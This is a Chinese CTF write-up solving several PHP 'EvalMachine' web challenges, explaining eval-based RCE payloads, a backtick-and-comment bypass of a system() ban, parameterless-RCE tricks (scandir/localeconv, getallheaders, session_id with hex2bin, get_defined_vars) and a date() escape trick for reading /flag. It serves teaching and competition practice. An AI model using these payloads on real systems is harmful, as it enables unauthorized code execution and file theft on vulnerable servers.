A1CTF 敲门砖-带你入门CTF😋 WEB方向全解

EvalMachine Zero

EvalMachine 堂堂连载!

你能够在全是冰的情况下选择自己的function而不是溜冰吗?☝️🤓
什么?你说有人在里面掺了春日影?!赤石去吧凑企鹅😡
(打开允许重定向以获取更好的溜冰体验(雾))

出题人:AyaN0

image-20251120014805004

无过滤RCE,外层套了eval();

要知道env/ls这些命令都是要在shell里执行的,eval执行的是一些php代码,要执行shell命令还得看system,echo ,exec() ,assert()passthru().

payload:

1
system("tac /flag");
image-20251120015240513

EvalMachine Ⅰ

当你从凑企鹅的溜冰领域逃离后,EvalMachine Zero成功被启动了

在你一阵眩晕后,你发现了另一个相似的”function”机器,那是EvalMachine Ⅰ

可当你想冲过去启动时,你的面前出现了一个熟悉的架子

!!!耄耋正在看着你!!!

!!!耄耋的头变圆了!!!

“哈!”耄耋向你发起了攻击

赶快,想想其他办法来绕过耄耋的强化普攻,在耄耋变强之前启动EvalMachine Ⅰ

出题人:AyaN0

依然是eval命令执行,但是ban了system。

我用:

1
echo `tac /flag`;

发现了题目给的提示:

1
After Security Filtering: echo `tac /flag`;();

在后面加上了();,我们直接注释掉就可以了。

最终payload:

1
echo `tac /flag`;#
image-20251120015731751

EvalMachine Ⅱ

[此猫有哈根,可以达斯了]

你成功的驯服了耄耋,在启动Eval MachineⅠ后,你发现耄耋没有消失,而是跟着你到了传送到了下一个地方

总感觉四周很安静呢,可是你又看到了书架,难道说..?

别多想,这里只是一个图书馆

你随便挑了一本书,找了个位置坐下,向四周偷偷观察

Eval Machine Ⅱ会在哪里呢。。

可是在观察了半天后你都没有发现它的踪影,正当你想离开时,耄耋突然发出了尖锐的爆鸣,你看向它哈气的方向:有人正在拿着手机偷拍你,看这样子已经拍了好一会了

不好!要被炼化成保研丹了!耄耋催促你赶紧向它发起决斗

可是只有突破[无参数]的限制才能顺利的打倒对方,不然对面的综合战力没有人可以打败她。

出题人: AyaN0

题目提示无参数RCE,无参数RCE一般的过滤:

1
2
3
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

没有单双引号,没有$ []等各种伪协议可以用的符号,就可以考虑无参数RCE,绕过方法有很多。

无参数RCE绕过的详细总结(六种方法)_无参数的取反rce-CSDN博客罕见不需要VIP的精品教程

我依然先初步给出payload:

1
var_dump(scandir(current(localeconv())));
image-20251120021222837
  • var_dump():把变量的类型和值打印出来,e.g:

    1
    var_dump("phpinfo();")-->string(10) "phpinfo();"

    类似的有print_r().

    所以回看payload,var_dump里的是数组。

  • scandir():返回的结果是一个数组,包含当前目录中的所有文件和目录名称。还有glob()也是一个效果。他将是我们无法使用system('ls');的最佳替代方案。

    但是scandir()是需要参数的,参数就是我们想看的目录路径(如.代表当前目录、/代表根目录)

    我们要看当前目录怎么做?怎么构造.这个字符串?

  • localeconv():返回一个包含本地数字及货币格式信息的数组。

    通常来讲第一个都是.,例如本题:

    image-20251120024039973

    那当务之急就是锁定第一个,我们可以用:

  • current()pos():返回数组中的单元,默认取第一个值。

    也就是说,我们通过current(localeconv()),得到了'.',最终作为scandir()的参数,返回当前目录的文件名数组。

  • 如果flag就在当前目录里,我们用scandir(current(localeconv()));就可以看到,然后就可以根据位置写,例如:

    1
    2
    3
    4
    5
    6
    7
    end() : 将内部指针指向数组中的最后一个元素,并输出
    next() :将内部指针指向数组中的下一个元素,并输出
    prev() :将内部指针指向数组中的上一个元素,并输出
    reset() : 将内部指针指向数组中的第一个元素,并输出
    each() : 返回当前元素的键名和键值,并将内部指针向前移动
    current() : 指针指向第一个元素并输出(默认第一个)
    pos() : 指针指向第一个元素并输出(默认第一个)

    这是指针跳跃的函数,实在不行,再加上array_reverse()让数组的元素调转顺序,让靠后的flag文件往前走。上面的

  • 最后,用一些读取文件的命令:

    1
    2
    3
    4
    cat/tac
    highlight_file()
    show_source()
    readfile()

    就能看到指定文件的内容了。

    但是这道题不行XD.

我们这里需要返回上一级目录,因为flag在根目录里,我们就可以用内鬼组合拳:

1
var_dump(scandir(dirname(dirname(dirname(getcwd())))));
  • getcwd():获取当前工作目录路径,比如我们这道题就是var/www/html.

  • dirname():获取路径中的目录部分,套一层就是var/www,套两层就是/var,套三层就到达了根目录。

  • 到达根目录,用scandir()拿到指定目录的文件列表。

    类似的还有chdir(),直接改变工作目录,参数就是目标目录。执行成功会返回true,强制转换成1.

    但是因为flag在根目录,所以最后我们需要写的应该是/flag,但是根本没有/可以用!

    chdir()改变工作目录,试过但是没用。

getallheaders():

仅限Apache,还有apache_request_headers()可以替代。

我们在请求头最后一行加一个恶意代码,再用指针跳跃函数指向并执行,就可以达到任意RCE的效果。

image-20251120144542838 image-20251120144556859

这题能用的确实很少,但是有文件包含show_source可以用,我们再去sky里写../../../flag,就可以直接读到flag文件的内容。

最终payload:

1
2
3
show_source(pos(getallheaders()));
http请求头:
sky: /flag
image-20251120145943422

Session ID

原理:Cookie 中的 PHPSESSID 归我们控制,且 session_id(session_start()) 可以无参数获取它。

payload:

1
show_source(session_id(session_start()));

然后再去请求头中加Cookie: PHPSESSID=/flag

  • session_start()保证session_id()的使用,session_id用来获取当前会话的ID,即抓取PHPSESSID的内容。

但是这道题题目环境被限制了,因为Headers需要在Body之前发送,但是题目先执行了类似 echo "After Security Filtering..." 的操作,导致网页内容已经响应,就不能再反过来改请求头了。

抛开题目不谈,我们接着讲PHPSESSID:

如果要执行的命令里包含特殊字符,就需要把命令写成十六进制编码后的值,利用php原生的bin2hexhex2bin编码解码就可以了。

编码exp:

1
2
3
<?php
echo bin2hex("phpinfo();");
?>

把结果填入PHPSESSID中,再执行:

1
eval(hex2bin(session_id(session_start())));

get_defined_vars():

顾名思义,获取所有被定义过的变量,包括$_GET/$_POST/$_FILES/$_COOKIE.

在后面再加一个参数,写payload就可以了。

1
eval(end(current(get_defined_vars())));&b=system("env");

array_flip()/array_rand() 赌狗读:

读本目录的payload:

1
show_source(array_rand(array_flip(scandir(getcwd()))));

通过array_flip()交换键值,让文件名变成键,就可以再用array_rand()随机返回数组的一个键,比如./../index.html,用dirname()套娃就可以到达根目录。

这个可读根目录,长长见识就好:

1
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
1
show_source(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array() )))))))))));

再通过intruder爆破就好。

GET & POST

image-20251120170958803

请输入文本…

fxxk_daaate

image-20251120171117553

题目有一个date()函数,用反斜杠避免转义就可以,最终payload可以是:

1
cmd=\s\y\s\t\e\m("\t\a\c /\f\l\a\g");